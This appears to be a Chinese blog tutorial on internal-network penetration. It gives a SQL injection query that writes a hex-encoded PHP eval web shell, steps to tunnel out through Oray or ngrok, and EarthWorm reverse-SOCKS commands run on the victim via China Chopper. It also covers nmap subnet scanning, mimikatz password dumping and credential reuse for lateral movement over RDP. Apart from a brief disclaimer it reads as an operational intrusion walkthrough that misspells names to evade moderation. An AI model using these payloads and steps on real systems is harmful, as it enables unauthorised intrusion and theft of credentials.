网络安全进阶篇(十一章-3)内网渗透(上)

每日一句:			
		做安全,有一定实力的话。找工作,待遇不好就不要去,不要委屈求全。
		世界上好地方那么多,不出去看看的话,你就以为这就是世界
		
		另外,二进制其实也不是多值钱的玩意,没必要觉得多深奥

声明:
内网渗透是非常危险的,没有明确的授权不要做。切记切记
本篇文章用到的软件100%报毒,最好在虚拟机用,不怕后门的可以在本机运行

一、win提升权限

(一),sql注入可以干什么?
	~获取数据、读取文件、影响数据库
	~通过写一句马从而getshell

(二),sql语句:导出文件
	~into outfile
	~into dumpfile
	
	举例:
		语句:
			select 1,2,3 into dumpfile 'C:\\www\\123.txt'
		作用:
			在“c:\www\”目录下新建123.txt。
			其内容为“123”
	
	进阶:通过此方式写一句马
		语句:
			select 1,2'' into dumpfile 'C:\\www\\123.php'
		作用:
			在“c:\www”目录下新建123.php文件,内容为一句马
			
	注意:
		1,这个函数(into dumpfile)在mysql高版本是默认不开启的
		   类似的还有load_file(),一般这两个函数要开启都会开启
		
		2,如何存在堆叠注入(即可以同时执行多条语句),
		   可以通过日志的方法写webshell。
		
		3,在phpstudy修改默认状态后,需要重启生效
			
		4,在老一点的版本中是可以直接使用的,新版本会报一个1290权限的错误
		
		实战中的语句:
		url ?id=1 union select 1,'一句马内容' into dumpfile "C:\\www\\123.php"
		
			补充:
				(1),这个路径怎么获得?
					通过sql报错注入,使服务器爆出路径
					若爆不出,只能靠猜了。
					当然也可以配合别的攻击手段使爆出绝对路径
				(2),第一次写文件,建议先写一个txt文档,成功后在写php文件
					可以看看自己写到txt的代码有没有问题,避免一些悬学问题
				(3),一句马内容
					若直接写“”肯定报错
					因为url栏中“?”一般代表传参  会冲突。
					
				(4)那一句马怎么写?
					将一句马内容16进制编码。即得到:
					“3c3f7068706576616c28245f524551554553545b385d293f3e”
					
					注意:16进制编码会将空格默认去掉,即上边的编码,
						  解码后是这样的:
						  而php中,那个空格是格式,这样的代码是会报错的。
						  
						  怎么办?----->加空格!	(空格的16进制编码是20),
						  即在“3c3f706870”后加“20”。
						  
						  事实上,3c3f706870就是是‘

二、花生.壳巧获得公网IP

	问题:假如没有公网ip,是不是就无计可施了?
	答曰:非也、非也,我们可以利用一些内网穿。透工具(如花生.壳,官网:https://qydev.com/index.html)。
		  但是要明白一件事,省了钱,就一定会多麻烦一些。所谓鱼和熊掌不可兼得
	
			多说一句,不知道提到远cheng控制  同学们有没有想到向日葵等一些商用远a控,从原理上来说
			是可以行的通的,当然这就多提一句,同学们有时间可以自己去摸索一下。
	
	问题:花sheng壳等内网穿。透工具的原理是什么样的?
	答曰:我们的电脑与花生.壳建立一个连接,此时生成一个域名,
		  让目标靶机去访问(连接)花生.壳生成的域名,此时通过花2生壳的桥接作用就连接到了本机
		  最终,我么让服务器通过花生.壳这个中间桥梁反向连接到了本机电脑
				
				本机	<--->		花生.壳		<--->		目标靶机
		  
	问题:如何具体操作上述
	答曰:~注册花生.壳,官网上述有
		  ~点击隧道管理-开通隧道,(因为是学习,没有多大的要求)
		  ~选择免费的就行,填写信息:
			隧道协议勾选tcp,名称随便写,本机端口写127.0.0.1:666(端口可以随便写一个系统没用的就行)
			此时,你的隧道管理处会多一个隧道(自动生成keycode,公网域名)
		  ~根据需要下载一个客户端版本,打开,将隧道管理处的keycode粘贴到客户端
		  ~别的电脑访问生成的公网域名就等于访问你电脑的127.0.0.1:666端口,
		  
		  即完成架桥梁,突破公网内网的限制,但是仅仅可以放出本机一个端口。有条件的话,还是推荐阿里云
		  假如有服务器,别人就可以直接访问到了,也不要上述步骤。而且可以访问到全端口
	
	问题:花生.壳在涉及到隧道时,需要手机接验证码,有没有纯匿名的?
	答曰:有,国外的ngrok,完全匿名。但是速度较慢
	
	其实到此时,若是没什么特别的问题。我们直接通过菜刀等工具将下载的花生.壳软件放到靶机,
	将靶机的3389端口直接放出来,即完成了最初的目标,控制了目标服务器。
	
	问题:若是内网有3台服务器,a机器能访问公网被我们通过花生.壳拿下,但是b,c机器不能访问公网该如何拿下?
	答曰:可以通过一些非正统的方法,如通过a机器继续套娃远cheng控制b与c等等
		  当然本文章既然是讲到了内网,那么就得和大家普及一下正统的内网的纵横方法,
		  不要急,继续往下看		

三、ew内网穿。透端口转发

	介绍官网:http://rootkiter.com/EarthWorm/
	
	ps:
	但是,让人吐血的是  官网竟然不给下载了。
	据开发者本人说“考虑到该工具影响很坏,该工具永久停止更新,如要反馈查杀规则请移”
	简单说,工具很强,危害很大,我不更新了,也不给你们下载了(有需要的朋友可以私信我,包括win、linux、mac)
	
	0. Ew常用的命令
		(1)
			接受代理:	ew(软件名) -s rcsocks -l 8888 -e 9999
			命令解释:	监听9999端口,将获取到的数据转发给8888端口,若接受到数据会在cmd中返回一个ok
			
				不是太懂?
						~9999是我的工资卡,8888是我对象的工资卡
						~当我卡里打入工资的时候,我都主动的将钱转给我对象
						~并给对象一下:“老婆,嘿嘿,我将钱打到你卡里了”
		(2)
			建立反向代理:ew(软件名) -s rssocks -d 1.1.1.1 -e 8888
			命令解释:	将本机反向连接到1.1.1.1的8888端口。这句命令是在目标靶机执行的	
					
				不是太懂?		
						~我恋爱了,正常都是我主动去找女朋友玩,		//即正向连接
						~但是她妈妈最近管的严,我不能再去她家找她玩了。
						~所以我给女友一个手机(ew),
						~约会的前告诉女友,我在“1.1.1.1的8888”这个地方等你
						~女友从家里出来,来找我						//即反向连接
						
						即我们药酱这个ew要上传到目标靶机上,且在靶机执行上述命令
						
			问题:注意的是,这个-d后的参数是IP,而非域名。怎么通过域名得到IP呢?
			答曰:直接cmd中,ping这个域名,就可以看到IP了	
						
	1.首先申请花sheng壳,建立一个tcp的连接协议,
			假设花生.壳生成的域名及其远程端口为:free.aaa.com:4472
			映射(连接)到的本机的端口为:127.0.0.1:6666。			//详细过程上边有,描述很复杂  操作很简单
			
			注意:这个本机映射的端口不能与本电脑已经运行的端口相冲突,很好理解,
				  比如一个端口你的qq已经占用了,你还让花生.壳走这个端口,这肯定会造成冲突。
				  正常的操作是让qq走一个端口,花生.壳走另一个
	
	2.在本机开启监听
			ew_for_win_32.exe(ew的名字) -s rcsocks -l 4545 -e 6666
			//即6666端口收到数据,将数据转给4545端口。同时在终端返回 "ok"
	
	3.通过菜刀将ew上传到目标靶机,最好同时将烂土豆也上传过去。防止执行一些命令权限不够
			~将烂土豆改名为1.exe	ew改名为2.exe	
			~改名字仅仅是因为在菜刀的虚拟终端执行命令时,简化指令
			
	4.在菜刀的虚拟终端执行命令,连接花6生壳
			~通过 1 中我们知道,花生.壳的域名为free.aaa.com通过ping我们得知其对应的IP为47.92.102.131
			~靶机通过ew进行反向连接:
				1.exe -p "2.exe -s rssocks -d 47.92.102.131 -e 4472"
	
	5.本机终端会返回“ok”,代表本机与目标靶机通过花a生壳可以直接进行  端口间数据通讯
			此时,就差最后一步,我们就可以对目标靶机进行控制了
			我们只要挂上SOCKS5的代理就可以了,这个东西的原理较为复杂,咱们是搞安全的不用把这个原理搞明白,直接用就ok
	
	6.安装Proxifier,设置SOCKS5代理
			~安装Proxifier(安装包可以私聊我要,或者自己谷歌下载)
			~打开Proxifier,点击配置文件,点击代理服务器,点击编辑
			~地址设置为127.0.0.1,端口设置为4545
	
	7.收获		
			此时我们才算是成功控制了目标靶机,我们在本机浏览器做的任何操作都相当于是在目标靶机上做的操作
			比如,此时我们在浏览器百度“IP”   ;会发现IP地址是目标靶机的IP,而非本机的IP。
			
			这时,我们就可以在自己浏览器直接访问目标靶机的内网了。
			当然,可以访问内网也可以通过3389进行远程连接这个目标靶机了
			
			补充:只不过可能会有一些卡顿,毕竟代理了好几层
			
			
				
	总结过程:
	
						本机4545端口							//设置SOCKS5代理,可访问目标靶机,可通过3389进行远程连接靶机
			
							<--									//将6666端口的数据转给4545
							
						本机6666端口							//通过ew进行端口数据监听与转发
			
							<-->								//本机反向连接花生.壳
							
			花生.壳(域名:free.aaa.com,IP:47.92.102.131,端口为4472)	//提供公网IP,充当桥梁、中间人角色
			
							<-->								//受害靶机反向连接花b生壳
			
						目标靶机(直接执行命令反向连接)		//通过烂土豆、ew进行反向连接

四、探测内网机器

	0.思路
		正常是先探测下内网主机,在探测下主机端口
		在找一找本机里的文件,看看有没有什么发现
		在根据端口去寻找问题,
			例如:
				某内网机器开启了445端口(445端口有个内网大杀器--永恒之蓝)
				开了3389(3389可以尝试爆破登录,或者试试cve-2019-0708能不能直接拿下)
				
			一般而言,网站都是外紧内送。一旦突进了内网,里面的东西是很脆弱的。
			比如弱密码,一些开发了一半的网站等等
			而且很多内网的机器都没有打永恒之蓝的补丁

	1.条件
		通过3389远程连接成功后,此时就相当于我们多了一个电脑,我们可以进行横扫内网
		
	2.在靶机安装nmap
		~将nmap先压缩一下
		~通过菜刀上传到目标靶机		
				//多说一句,有的大文件菜刀可能会上传失败
				//问:如何知道我们有没有成功上传文件呢?
				  答:直接在菜刀里更新一下文件目录不就好了
		
		~发现菜刀连接失败的话,直接将压缩包  通过  远程桌面连接复制过去
		
		另外,也有一些野的思路,比如在目标靶机装一个qq,通过qq传过去等等
		当然,在这我仅仅是提一下。攻陷一个目标有很多种方法,大家不要思维固化。
		
	3.通过nmap探测C段
		~将上传成功的nmap在目标靶机安装
		~通过ipconfig查看靶机的IP;						//假设是10.0.1.4
		~探测内网机器:nmap 10.0.1.1/24					//就是将10.0.1.1-10.0.1.255探测一遍
				当然这是不太重要的话,简单探测探测。
				比较重要的话,直接将所有的内网IP段全探测了

五、提取本机管理员账号密码

	0.前言
		内网很多情况是这样的,内网很多机器,但是管理员可能就是那么几个人,
		所以各个机器的用户账号密码相同的可能性极高,那么我们如果能获取本机所有用户的密码,
		就可以看到管理员原本设置的密码。
	
	1.介绍一款神器--mimikatz(别名猕猴桃)
		是一款内网渗透中常用的工具,也有人喜欢叫法国神器,因为是法国的本杰明·德尔皮编写创建
				下载地址:https://github.com/gentilkiwi/mimikatz

		因为Windows会把用户的明文密码放在内存里面,
		所以它可以从内存中提取纯文本密码,哈希和kerberos票证。			
				//这个kerberos票据是关于域控的知识,下次在说相关内网
				
		另外windows server 2012及其上就不储存明文,这个时候可以通过修改注册列表的形式开启明文密码显示
		然后,静静等待管理员的访问。管理员什么时候访问,什么时候得到明文密码
		
		之前说本文中用到的工具报毒,也主要是因为这个东西。
		
	2.mimikatz的三条命令(按顺序执行即可)
			privilege::debug 提升权限
			log				 新建日志记录
			sekurlsa::logonpasswords 抓取密码
			
		使用方法:
				(1):
							手动输入
				(2):
						打开mimikatz,在菜单栏右击,
						选择编辑,粘贴
		
		报错处理:
				以管理员身份运行该软件
				尝试重新打开在运行试试
				可能是版本错了,32位系统就用32的,64就用64的
				
		
		说明:	
				这个mimikatz是去电脑内存搞事情,所以要很高的权限。
				对于权限,system并不是最高的。在此之上还有很多乱七八糟的权限
				只是对初学者用的比较少,我们先不要细究
				
				综上mimikatz是去内存搞事情,所以要提升权限,
					即先执行权限提升的命令
					然后在执行抓取密码的命令

				使用log命令,可以在猕猴桃的同目录下生成日志记录文件。
				这样抓到的密码就可以直接在日志文件中复制了。
					
					
	3.搞一搞内网中别的机器
		如我们通过nmap探测到内网中一个10.0.1.5这个机器
		~我们就可以通过已经连接的靶机A去	连接这个新的机器B
		~或者我们已经通过SOCKS5在本机 在开一个远程桌面连接就可以用在A机器获取的密码去连接B机器
		
		
	总结:
			~已经远程连接到靶机A机器
			~用mimikatz抓取A机器上的所有账号与密码
			~因为内网中的机器绝大多数的账号密码都相同
			~我们就可以用A机器上得到的账号密码去远程连接内网中的B机器、C机器等等
			
			~而B机器、C机器的内网IP,我们也可以通过A机器上的nmap得到
	
			
在下一篇文章中,在主要介绍一下域控及其票据相关知识
有些内容有错别字,因为平台的审核太严格。不过大家应该可以看懂,毕竟内网渗透太敏感了,在次感谢审核人员通过
	如:花生.壳			--->		其实是huashengke;

你可能感兴趣的